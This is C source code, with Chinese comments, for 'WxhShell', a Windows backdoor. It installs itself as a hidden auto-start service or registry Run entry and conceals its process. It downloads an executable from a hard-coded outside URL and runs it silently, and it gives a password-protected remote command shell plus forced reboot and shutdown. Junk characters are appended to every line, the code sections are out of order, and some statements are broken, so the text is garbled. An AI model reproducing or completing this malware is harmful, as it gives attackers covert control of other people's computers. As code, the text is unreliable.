  case 'd': { u':0"5}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :m)Rmwn_  
    if(Boot(SHUTDOWN)) giSG 6'WA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qy42Y/8'  
    else { Zjp5\+hHV  
    closesocket(wsh); T^(n+lv  
    ExitThread(0); Mc$v~|i6  
    } \MFWK#W  
    break; ,Zcx3C:#  
    } tXG4A$(2&  
  // 获取shell ~Q$c!=   
  case 's': { eRl?9  
    CmdShell(wsh); :AqnWy  
    closesocket(wsh); j$mt*z L  
    ExitThread(0); xo)?XFM2  
    break; -MHX1`P:Sn  
  } ]/V Iff  
  // 退出 S] K6qY  
  case 'x': { X_tW#`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o+)LcoP u  
    CloseIt(wsh); (;Q <@PZg  
    break; &6|^~(P?  
    } {HRxyAI!  
  // 离开 A^r [_dyZ  
  case 'q': { a9@l8{)RX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ".Deu|>  
    closesocket(wsh); ^?^|Y?f2P?  
    WSACleanup();  I^(o3B  
    exit(1); Vg [5bJ5  
    break; ;aRWJG  
        } [[66[;  
  } t6L^ #\'  
  } MBYD,v&  
">D(+ xr!)  
  // 提示信息 |Qt`p@W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c;|&>Fp  
} pqQdr-aR=  
  } <>*''^  
l&^[cR  
  return;  _7j/[  
} i2ml[;*,N  
_qzo):G.s  
// shell模块句柄 4Tzu"y  
int CmdShell(SOCKET sock) B=Jd%Av  
{ 0.Ol@fO  
STARTUPINFO si; =<FZ{4  
ZeroMemory(&si,sizeof(si)); 3d)+44G_)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c"sw@<HG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _OxnHf:|  
PROCESS_INFORMATION ProcessInfo; .&yWHdQC:  
char cmdline[]="cmd"; (27F   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VY&9kN  
  return 0; $evuPm8G  
} tSXjp  
_Fh0^O@  
// 自身启动模式 <T_Nlar^^  
int StartFromService(void) _8b>r1$  
{ Q-dHR i  
typedef struct pYhI{  
{ v!'@NW_  
  DWORD ExitStatus; {u=\-|t  
  DWORD PebBaseAddress; n$![b_)*  
  DWORD AffinityMask; DwrCysIK  
  DWORD BasePriority; 'm!1 1Phe  
  ULONG UniqueProcessId; x]J-q5  
  ULONG InheritedFromUniqueProcessId; W lLZtgq  
}   PROCESS_BASIC_INFORMATION; lSbM)gL  
z Q|x>3   
PROCNTQSIP NtQueryInformationProcess; U/&qV"Ih  
B oj{+rE0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; owY_cDzrH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \7tvNa,C  
k&"qdB(I  
  HANDLE             hProcess; O7CYpn4<7  
  PROCESS_BASIC_INFORMATION pbi; 3]]6z K^i  
!RUo:b+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ -iUuHP  
  if(NULL == hInst ) return 0; cp?P@-  
z?_}+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0_zSQn9c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qF6%XKbh=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =cKk3kJC  
C<=p"pWw  
  if (!NtQueryInformationProcess) return 0; [Z G j7  
Cg\)BHv~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ieF 0<'iF  
  if(!hProcess) return 0; .-26 N6S  
dSOn\+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YK+Z0ry  
.6/p4OR|  
  CloseHandle(hProcess); |2&mvjk@H  
gLxy RbVI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hE#8_34%s  
if(hProcess==NULL) return 0; WI 4_4  
(X7yNIPfA  
HMODULE hMod; 5F+ f'~  
char procName[255]; #<>E+r+  
unsigned long cbNeeded; L8K3&[l%  
RkV3_c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R]s jG <  
g(r'Y#U  
  CloseHandle(hProcess); b2f2WY |z>  
hgr ,v"  
if(strstr(procName,"services")) return 1; // 以服务启动 8=Y|B5   
]G&\L~P  
  return 0; // 注册表启动 )3\rp$]1  
} zw9ULQ$#  
h?tV>x/Fu  
// 主模块 W",jZ"7  
int StartWxhshell(LPSTR lpCmdLine) >Ez}r(QQ^  
{ ghQsS|)p.  
  SOCKET wsl; M6Z`Pwv];  
BOOL val=TRUE; acZ|H  
  int port=0; J; Xz'0  
  struct sockaddr_in door; J 2~B<=V  
l+X^x%EA  
  if(wscfg.ws_autoins) Install(); Sh6 NgO  
a#Gq J?nY  
port=atoi(lpCmdLine); Z$K%@q,10+  
"Ksd9,J\b  
if(port<=0) port=wscfg.ws_port; ! m5\w>  
Cu<ojN- $  
  WSADATA data; .z7f_KX^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pnb$lpxt  
FsZEB/c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sh3}0u+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F+-MafN7Y  
  door.sin_family = AF_INET; 2p.+C35c=j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8>+eGz|  
  door.sin_port = htons(port); dM.Ow!j  
$4) g uG)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @].aFhH`)  
closesocket(wsl); |8+rUFkU8  
return 1; l{ { #tW  
} X KeK;+  
EqwA8? M  
  if(listen(wsl,2) == INVALID_SOCKET) { md_s2d  
closesocket(wsl); \aRB   
return 1;  0d)n} fm  
} @d9*<>@:  
  Wxhshell(wsl); C>-"*Lt  
  WSACleanup(); I`lH6hHp  
~%q e,  
return 0; Jq@LZ2^  
P9~kN|  
} 3CL:VwoW  
RS=7W._W  
// 以NT服务方式启动 @WUCv7U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gwk@X/q  
{ ~t$VzL1  
DWORD   status = 0; J sdEA  
  DWORD   specificError = 0xfffffff; ../(gG9  
|'(IWU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (VR nv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a[#BlH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ho9*y3]  
  serviceStatus.dwWin32ExitCode     = 0; ~_6rD`2cJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 1O{67Pf  
  serviceStatus.dwCheckPoint       = 0; RT 9|E80  
  serviceStatus.dwWaitHint       = 0; HM x9M$  
/;[')RO`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '7%9Sqx  
  if (hServiceStatusHandle==0) return; ?q7Gs)B=^'  
S!bvU2d  
status = GetLastError(); '?[msX"aqa  
  if (status!=NO_ERROR) ba.OjK@  
{ ]vG)lY.=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^ B]t4N2i  
    serviceStatus.dwCheckPoint       = 0; g:V6B/M&  
    serviceStatus.dwWaitHint       = 0; ;0WlvKF  
    serviceStatus.dwWin32ExitCode     = status; }zLE*b,  
    serviceStatus.dwServiceSpecificExitCode = specificError; z}|'&O*.F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d@~)Wlje  
    return; hTqJDP"&F  
  } Cr"hu;  
V!4E(sX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iWsIc\!+,  
  serviceStatus.dwCheckPoint       = 0; Oms`i&}"}  
  serviceStatus.dwWaitHint       = 0; q\G@Nn^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -rrg?4  
} +d. Bf  
r4'Pf|`u  
// 处理NT服务事件,比如:启动、停止 IrK )N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ENr&k(>0HQ  
{ JD .z}2+  
switch(fdwControl) kSrzIq<xre  
{ Q0A1N[  
case SERVICE_CONTROL_STOP: 7hQl,v< 5  
  serviceStatus.dwWin32ExitCode = 0; dv: &N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jk?(W2c#{  
  serviceStatus.dwCheckPoint   = 0; "^7Uk#! 7  
  serviceStatus.dwWaitHint     = 0; qz):YHxT]n  
  { nfR5W~%*:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PI?[  
  } 0J B"@U&-  
  return; v\Gu  
case SERVICE_CONTROL_PAUSE: vOU -bF%u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ekXHfA!i%  
  break; l K%Hb=  
case SERVICE_CONTROL_CONTINUE: "5FeP;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 37DvI&  
  break; (nG  
case SERVICE_CONTROL_INTERROGATE: Si(?+bda0c  
  break; ^|2qD: ;  
}; W*#/@/5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w\a#Bfcv  
} xFh}%mwpt[  
a7R7Ks|q  
// 标准应用程序主函数 [&&4lKC}u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $MR4jnTT  
{ "O{sdVS  
<7+.5iB3  
// 获取操作系统版本 ) eV]M~K:  
OsIsNt=GetOsVer(); jA'+>`@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?xega-l  
!cZIoz  
  // 从命令行安装 xMu6PM<l  
  if(strpbrk(lpCmdLine,"iI")) Install(); -`JY] H  
N_U D7P1  
  // 下载执行文件 7(-<x@e  
if(wscfg.ws_downexe) { `K.yE0^i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o>h>#!e  
  WinExec(wscfg.ws_filenam,SW_HIDE); m;|I}{r  
} J=Z"sU=  
4ai3@f5  
if(!OsIsNt) { G9TUU.T  
// 如果时win9x,隐藏进程并且设置为注册表启动 6\L,L &  
HideProc(); VEk|lX;2  
StartWxhshell(lpCmdLine); +VDB\n   
} 8dNJZoV  
else TOs|f8ay  
  if(StartFromService()) b?l\Q Mvi  
  // 以服务方式启动 G4~J+5m k  
  StartServiceCtrlDispatcher(DispatchTable); >2r/d  
else gvX7+F=}B  
  // 普通方式启动 60m1 >"  
  StartWxhshell(lpCmdLine); x[E`2_Ff0  
U8z,N1]r*`  
return 0; YZd4% zF  
} :\Dm=Q\  
;%&@^;@k%  
4_eq@'9-q  
(]L=$u4  
=========================================== xo}hu %XL  
+Aq}BjD#  
!|]%^G  
bZ=d!)%P-{  
G9]GK+@&F  
QH eUpJ/^  
" u<[Y6m  
8GX@76o  
#include <stdio.h> >8c9-dTmf  
#include <string.h> 4f+Ke*^[RA  
#include <windows.h> 6 [IiJhVL  
#include <winsock2.h> "xKJ?8   
#include <winsvc.h> zB4gnVhus|  
#include <urlmon.h> juM?y'A  
H~&'`h1  
#pragma comment (lib, "Ws2_32.lib") !^%b|=[  
#pragma comment (lib, "urlmon.lib") :DEZ$gi  
mOBS[M5*  
#define MAX_USER   100 // 最大客户端连接数 59|Tmf(dS;  
#define BUF_SOCK   200 // sock buffer 1 OX(eXF>  
#define KEY_BUFF   255 // 输入 buffer %q@@0qenv  
y~w$>7U.  
#define REBOOT     0   // 重启 I#0$5a},u^  
#define SHUTDOWN   1   // 关机 3Dy.mtP  
*l}q,9iQ-  
#define DEF_PORT   5000 // 监听端口 F C"dQ  
><Z2uJZ4x  
#define REG_LEN     16   // 注册表键长度 8AK#bna~-  
#define SVC_LEN     80   // NT服务名长度 s;L7 _.hH@  
D n^RZLRhy  
// 从dll定义API DLVf7/=3~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q~lmOT~E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); giv cq'L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 ;&N3:,X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p AD@oPC  
crUXpD  
// wxhshell配置信息 dS-l2 $n  
struct WSCFG { 2Tp.S3  
  int ws_port;         // 监听端口 /D eU`rj  
  char ws_passstr[REG_LEN]; // 口令 IP-mo!Y.  
  int ws_autoins;       // 安装标记, 1=yes 0=no i;cqK&P;]  
  char ws_regname[REG_LEN]; // 注册表键名 *v6'I-#  
  char ws_svcname[REG_LEN]; // 服务名 z}Q54,9m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yZ K j>P1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3a =KgOvp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^z_~e@U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r__uPyIMG/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?>e-6*.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 75a3H`  
h_J 'dJS  
}; ,+f'%)s_x  
KV Mm<]Z  
// default Wxhshell configuration E0w>c'kH  
struct WSCFG wscfg={DEF_PORT, y5>H>NS  
    "xuhuanlingzhe", S%'t )tt,  
    1, s i C/k*  
    "Wxhshell", |[0|j/V%O  
    "Wxhshell", /" ,]J  
            "WxhShell Service", R/iXO~/"J  
    "Wrsky Windows CmdShell Service", Rv }e+5F  
    "Please Input Your Password: ", 4e* rBTl  
  1, 8{'L:yzMY  
  "http://www.wrsky.com/wxhshell.exe", }I !D65-#'  
  "Wxhshell.exe" J?V8uEly  
    }; k#U?Xs>  
7 'N&jI   
// 消息定义模块 rTQrlQ:@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r'"H8>UZ%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uSH.c>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (JOge~U  
char *msg_ws_ext="\n\rExit."; 1aKY+4/G  
char *msg_ws_end="\n\rQuit."; qWdL|8  
char *msg_ws_boot="\n\rReboot..."; [W` _`  
char *msg_ws_poff="\n\rShutdown..."; 2\_}81 hM  
char *msg_ws_down="\n\rSave to "; /K1YDq<=  
v. !L:1@I.  
char *msg_ws_err="\n\rErr!"; H_Vf _p?  
char *msg_ws_ok="\n\rOK!"; v#F .FK  
JpN+'/  
char ExeFile[MAX_PATH]; 4~DoqT  
int nUser = 0; N|wI=To  
HANDLE handles[MAX_USER]; YajUdpJi  
int OsIsNt; //xxSk  
|?g k%g  
SERVICE_STATUS       serviceStatus; =98@MX%P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [+UF]m%W  
|-bAz t  
// 函数声明 <a; <|Fm.  
int Install(void); h",kA(+P  
int Uninstall(void); =5isT  
int DownloadFile(char *sURL, SOCKET wsh); 3x=T &X+  
int Boot(int flag); !gu# #MrJ9  
void HideProc(void); Pi`}-GUe,  
int GetOsVer(void); +9M#-:qB  
int Wxhshell(SOCKET wsl); XI@;;>D1=U  
void TalkWithClient(void *cs); NLRgL'+F  
int CmdShell(SOCKET sock); SRyAW\*LWU  
int StartFromService(void); Zgd| J T7  
int StartWxhshell(LPSTR lpCmdLine); |4UW.dGHPo  
 s'RE~,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XX+%:,G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KFx4"f%  
G[GSt`LVS`  
// 数据结构和表定义 X)P9f N~7  
SERVICE_TABLE_ENTRY DispatchTable[] = q &#f#Ou  
{ Qt` }$]  
{wscfg.ws_svcname, NTServiceMain}, P`0}( '"U  
{NULL, NULL} @uXF(KDX  
}; >La!O~d  
1?\G6T  
// 自我安装 { HHc} 8  
int Install(void) K_;'-B  
{ ]y:2OP  
  char svExeFile[MAX_PATH]; 0CX2dk"UB^  
  HKEY key; ^z>3+oi  
  strcpy(svExeFile,ExeFile); yL{X}:;}  
 *Yj!f68  
// 如果是win9x系统,修改注册表设为自启动 9l<f?OzAO  
if(!OsIsNt) { ~qekM>z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P :zZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));   
  RegCloseKey(key); j#6@ cO'`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2[zFKK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 FKb7  
  RegCloseKey(key); _9*3Mr)2N  
  return 0; ^VabXGzo#  
    } h)7hk*I  
  } =MMU(0 E  
} zg>4/10P1q  
else { O7vJ`K(!  
h'%iY6!fA  
// 如果是NT以上系统,安装为系统服务 :%!` R72  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6ZKSet8  
if (schSCManager!=0) ^26vP7  
{ 6_}& WjU'  
  SC_HANDLE schService = CreateService 4C m+xAXG  
  ( Vh=10Et  
  schSCManager, cc37(=o KL  
  wscfg.ws_svcname, .d/e?H:  
  wscfg.ws_svcdisp, ,%Sf,h?"^  
  SERVICE_ALL_ACCESS, Qx<86aKkF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w`ebZa/j  
  SERVICE_AUTO_START, ?y"= jn  
  SERVICE_ERROR_NORMAL, ;l4 epN  
  svExeFile, H+lBb$  
  NULL, (m:ktd=x  
  NULL, B bP&-c  
  NULL, pQ2'0u5w5  
  NULL, n;QMiz:yY  
  NULL S3fyt]pp  
  ); N #C,q&;  
  if (schService!=0) 'qoDFR\v  
  { ol#| .a2O  
  CloseServiceHandle(schService); tg5G`P5PJ  
  CloseServiceHandle(schSCManager); ~IQ3B $4H&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % XvJJ  
  strcat(svExeFile,wscfg.ws_svcname); 7UnB]-:.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xQA6!j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); so=Ux2  
  RegCloseKey(key); KcPI ,.4{  
  return 0; ny++U;qi  
    } T'8d|$X  
  } 85gdmla@9  
  CloseServiceHandle(schSCManager); s[2>r#M  
} MbbKo-7F$  
} )b\89 F  
;cpQ[+$nKp  
return 1; )+L.$h  
} 1>)q 5D  
7j,u&%om  
// 自我卸载 7^bde<0  
int Uninstall(void) J)I|Xot  
{ (?y (0%q  
  HKEY key; lE|Hp  
>n(Ga9E  
if(!OsIsNt) { xQU$E|I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +0DPhc  
  RegDeleteValue(key,wscfg.ws_regname); /u&{=nU  
  RegCloseKey(key); tMbracm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K."%PdC  
  RegDeleteValue(key,wscfg.ws_regname);  iup "P  
  RegCloseKey(key); CQ;.}=j ,  
  return 0; |g)/6jG<-  
  } ;nx? 4f+6h  
} DWXxB  
} { VK   
else { {>r56 \!F  
glL.CkJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (,P6cWt}"  
if (schSCManager!=0) .+#<~Jv  
{ (Vz\02,K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Thc"QIk&4  
  if (schService!=0)  X<p'&  
  { x9Oo.[  
  if(DeleteService(schService)!=0) { hAi`2GP.  
  CloseServiceHandle(schService); CO5>Q o  
  CloseServiceHandle(schSCManager); K+P:g%M  
  return 0; %Eq4>o?D  
  } P&$ m2^K  
  CloseServiceHandle(schService); }} s.0Q  
  } AhA4IOG`.  
  CloseServiceHandle(schSCManager); q\uzmOh  
} 3q}fDM(@J  
} rb_FBa%  
zt3y5'Nk  
return 1; 1w~@'ZyU  
} 7c8A|E0\mF  
  mN^/  
// 从指定url下载文件 '.$va<  
int DownloadFile(char *sURL, SOCKET wsh) f=,(0ygt/  
{ f%gdFtJ &  
  HRESULT hr; /\-iV)h1@  
char seps[]= "/"; ] -}Zd\Rs  
char *token; W|,Y*l  
char *file; 8`]1Nt!*B  
char myURL[MAX_PATH]; ~E^lKe  
char myFILE[MAX_PATH]; Gm1[PAj  
P(|+1$#[  
strcpy(myURL,sURL); C]01(UoSZ  
  token=strtok(myURL,seps); }K3!ujvR  
  while(token!=NULL) }.S4;#|hw  
  { ;;{!wA+"D  
    file=token; 0D.qc8/V4.  
  token=strtok(NULL,seps); l!7O2Ai5  
  } &i{>Li  
7#pu(:T$  
GetCurrentDirectory(MAX_PATH,myFILE); e6y,)W"WW2  
strcat(myFILE, "\\"); ]IQ`.:g=9  
strcat(myFILE, file); 3;-P(G@  
  send(wsh,myFILE,strlen(myFILE),0); @!np 0#  
send(wsh,"...",3,0); iD"9,1@~n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .$~zxd#zo  
  if(hr==S_OK) jM07&o]D  
return 0; :=cZ,?PQp1  
else c7~>uNgJ  
return 1; @w[2 BaDt  
3@*orm>em  
} bw[s<z|LKA  
ZNN^  
// 系统电源模块 u|eV'-R)s  
int Boot(int flag) mh7JPbX|  
{ a`t <R  
  HANDLE hToken; *wu:fb2[(  
  TOKEN_PRIVILEGES tkp; W3~xjS"h  
xp68-&  
  if(OsIsNt) { *;u'W|"/~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }bA@QEJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %j4AX  
    tkp.PrivilegeCount = 1; ?nc:B]=pTY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , b;WCWm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B{6wf)[O  
if(flag==REBOOT) { yd+.hg&J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N)0V6q"  
  return 0; PgMU|O7To  
} sCrOdJ6|  
else { yzH[~O7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8x/]H(J  
  return 0; RASPOc/]   
} \.l8]LH  
  } ?BA~$|lfxu  
  else { c7R<5f  
if(flag==REBOOT) { ?P>3~3 B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eY'< UO  
  return 0; u301xc,N<z  
} -+)06BqF}  
else {  |Ym3.hz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) umJ!j&(  
  return 0; 8}_M1w6v  
} ymo].  
} [19QpK WM  
P;7 Y9}  
return 1; zxhE9 [`*e  
} /Y_)dz^@  
~A-Y%P  
// win9x进程隐藏模块 yR'%UpaE  
void HideProc(void) s-lNpOi  
{ Xub<U>e;b  
(_.0g}2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T P#Hq  
  if ( hKernel != NULL ) _7=LSf,9  
  { mYRsM s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vDit&Lh{T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2^f6@;=M  
    FreeLibrary(hKernel); *{fL t  
  } 'OjsV$_  
)wdTs>W7  
return; 79MF;>=tV  
} E Z+L'  
5N /NUs   
// 获取操作系统版本 [==x4N b  
int GetOsVer(void) )z=L^ot  
{ T@P[jtH<d  
  OSVERSIONINFO winfo; 5!V%0EQqw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H$4 4,8,m  
  GetVersionEx(&winfo); jBLLx{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e4mAKB s!  
  return 1; /_{B_2i/>  
  else  U rL|r.  
  return 0; ;'i>^zX`  
} RIV + _}R  
8lZB3p]X  
// 客户端句柄模块 Zog&:]P'F  
int Wxhshell(SOCKET wsl) NDYm7X*et  
{ b-Xc6f  
  SOCKET wsh; dh0nB  
  struct sockaddr_in client; ,(y6XUV~  
  DWORD myID; Bp9_\4  
45aFH}w:  
  while(nUser<MAX_USER) f3oGB*5>  
{ \.K4tY+V  
  int nSize=sizeof(client); ?&_u$Nn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sp8P[W1a  
  if(wsh==INVALID_SOCKET) return 1; rF\L}& Sw  
4Gor*{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~9ynlVb7)r  
if(handles[nUser]==0) \6L,jSoBl  
  closesocket(wsh); X')t6DQ(I  
else }BN!Xa  
  nUser++; GJj}|+|  
  } k\<8h%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pSKw Xx  
N;mJHr3[F  
  return 0; 5v_vv'~  
} 0i4XS*vPv  
F|bg2)|du8  
// 关闭 socket .g?Ppma  
void CloseIt(SOCKET wsh) ~v|NC([(  
{ -I'Jm=q3]  
closesocket(wsh); r(OH  
nUser--; .8]buM5_G  
ExitThread(0); . /@C  
} YMr2Dv\y  
7w5C NV  
// 客户端请求句柄 opv<r* !  
void TalkWithClient(void *cs) PFI^+';  
{ &1Cif$Y4w  
 sDl @  
  SOCKET wsh=(SOCKET)cs; 7?"-:q  
  char pwd[SVC_LEN]; 3{H&{@Q  
  char cmd[KEY_BUFF]; e#!,/p E  
char chr[1]; dj2w_:&W  
int i,j; hEMS  
j^6,V\;l  
  while (nUser < MAX_USER) { BK)3b6L=%  
AOv>O52F/Q  
if(wscfg.ws_passstr) { ]47!Zo,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )'i n}M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pv"QgH  
  //ZeroMemory(pwd,KEY_BUFF); 'BX U '  
      i=0; D $&6 8  
  while(i<SVC_LEN) { B+4WnR1%T  
)~be<G( a  
  // 设置超时 $Y?[[>u  
  fd_set FdRead; fM!@cph(8  
  struct timeval TimeOut; 1qm _Qs&  
  FD_ZERO(&FdRead); {xu~Dx  
  FD_SET(wsh,&FdRead); IylfMwLC  
  TimeOut.tv_sec=8; #ja6nt8GC  
  TimeOut.tv_usec=0; J*D3=5&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s)~Wcp'+M:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @B9O*x+n:  
Pj ^O8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ->r udRQ  
  pwd=chr[0]; mt\pndTy7!  
  if(chr[0]==0xd || chr[0]==0xa) { "?S> }G\  
  pwd=0; Rc(E';uc  
  break; 7;@o]9W  
  } w~ O)DhC  
  i++; *hlinQKs  
    } [13NhF3.P  
siz:YRur  
  // 如果是非法用户,关闭 socket (sp{.bU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ![ @i+hl  
} ks7id[~&iY  
$ E-c%-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [B@R(z=H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iD) P6"  
g:2\S=  
while(1) { Cig! 3  
'<1Q;3Ho  
  ZeroMemory(cmd,KEY_BUFF); 6F; |x  
KvmXRf*z  
      // 自动支持客户端 telnet标准   HE@P<  
  j=0; U"OA m}  
  while(j<KEY_BUFF) { A \-r%&.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9)J)r \  
  cmd[j]=chr[0]; C *]XQ1F4  
  if(chr[0]==0xa || chr[0]==0xd) { 91|~KR)  
  cmd[j]=0; jwO7r0?\`G  
  break; # B@*-  
  } JlE b  
  j++; :LLz$[c8  
    } s)}EMDY  
N**" u"CX  
  // 下载文件 j$Vtd &  
  if(strstr(cmd,"http://")) { >K*TgG6!X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GB{Q)L  
  if(DownloadFile(cmd,wsh)) , %A2wV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G5 *_  
  else xM13OoU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sfR0wEqI  
  } @vPGkM#oW  
